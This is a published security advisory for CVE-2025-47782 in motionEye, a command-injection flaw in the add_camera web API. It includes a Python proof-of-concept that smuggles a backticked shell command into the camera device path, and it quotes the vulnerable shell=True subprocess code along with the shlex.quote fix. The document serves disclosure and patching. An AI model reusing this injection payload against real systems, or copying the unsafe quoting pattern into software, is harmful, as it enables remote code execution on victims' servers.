CVE-2025-47782 – motioneye

Package

Manager: pip
Name: motioneye
Vulnerable Version: >=0.43.1b1 <0.43.1b4

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:U/RC:R

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS: 0.00067 pctl0.21005

Details

motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution ### Summary Using a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default. #### function call stack 1. `post` 2. `add_camera` 3. `config.add_camera` 4. `v4l2ctl.list_resolutions` 5. `utils.call_subprocess` 6. `subprocess.run` ### PoC #### build ```sh RUN_USER="user" RUN_UID=$(id -u ${RUN_USER}) RUN_GID=$(id -g ${RUN_USER}) TIMESTAMP="$(date '+%Y%m%d-%H%M')" docker build \ --network host \ --build-arg="RUN_UID=${RUN_UID?}" \ --build-arg="RUN_GID=${RUN_GID?}" \ -t "${USER?}/motioneye:${TIMESTAMP}" \ --no-cache \ -f docker/Dockerfile . ``` #### reproduce Run: ```sh docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye ``` ```console bash-4.2$ docker logs ceb435eacf55 -f configure_logging cmd motioneye: False configure logging to file: None INFO: hello! this is motionEye server 0.43.1b3 DEBUG: found motion executable "/usr/bin/motion" version "4.7.0" DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1" DEBUG: listing config dir /etc/motioneye... DEBUG: found camera with id 1 DEBUG: reading camera config from /etc/motioneye/camera-1.conf... DEBUG: loading additional config structure for camera, without separators DEBUG: Using selector: EpollSelector DEBUG: searching motion executable DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0" INFO: cleanup started INFO: wsswitch started INFO: tasks started INFO: mjpg customer garbage collector has started INFO: server started ``` Now, run the following script to attack motionEye: ```python import requests import json url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18" payload = json.dumps({ "proto": "v4l2", "path": "' `touch /tmp/bbbb` '" }) headers = { 'Content-Type': 'application/json' } response = requests.request("POST", url, headers=headers, data=payload) print(response.text) ``` <img width="1187" alt="Image" src="https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62" /> <img width="324" alt="Image" src="https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e" /> #### Discussion It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability ```python def list_resolutions(device): from motioneye import motionctl device = utils.make_str(device) if device in _resolutions_cache: return _resolutions_cache[device] logging.debug(f'listing resolutions of device {device}...') resolutions = set() output = b'' started = time.time() cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true" logging.debug(f'running command "{cmd}"') try: output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL) except: logging.error(f'failed to list resolutions of device "{device}"') output = utils.make_str(output) def call_subprocess( args, stdin=None, input=None, stdout=subprocess.PIPE, stderr=DEV_NULL, capture_output=False, shell=False, cwd=None, timeout=None, check=True, encoding='utf-8', errors=None, text=None, env=None, ) -> str: """subprocess.run wrapper to return output as a decoded string""" return subprocess.run( args, stdin=stdin, input=input, stdout=stdout, stderr=stderr, capture_output=capture_output, shell=shell, cwd=cwd, timeout=timeout, check=check, encoding=encoding, errors=errors, text=text, env=env, ).stdout.strip() ``` ### Impact RCE ### Patches The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143 ### Workarounds Applying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch ### References https://github.com/motioneye-project/motioneye/issues/3142 ### Credit The vulnerability was discovered by Tencent YunDing Security Lab.

Metadata

Created: 2025-05-15T16:10:48Z
Modified: 2025-05-15T16:10:48Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-g5mq-prx7-c588/GHSA-g5mq-prx7-c588.json
CWE IDs: ["CWE-78"]
Alternative ID: GHSA-g5mq-prx7-c588
Finding: F004
Auto approve: 1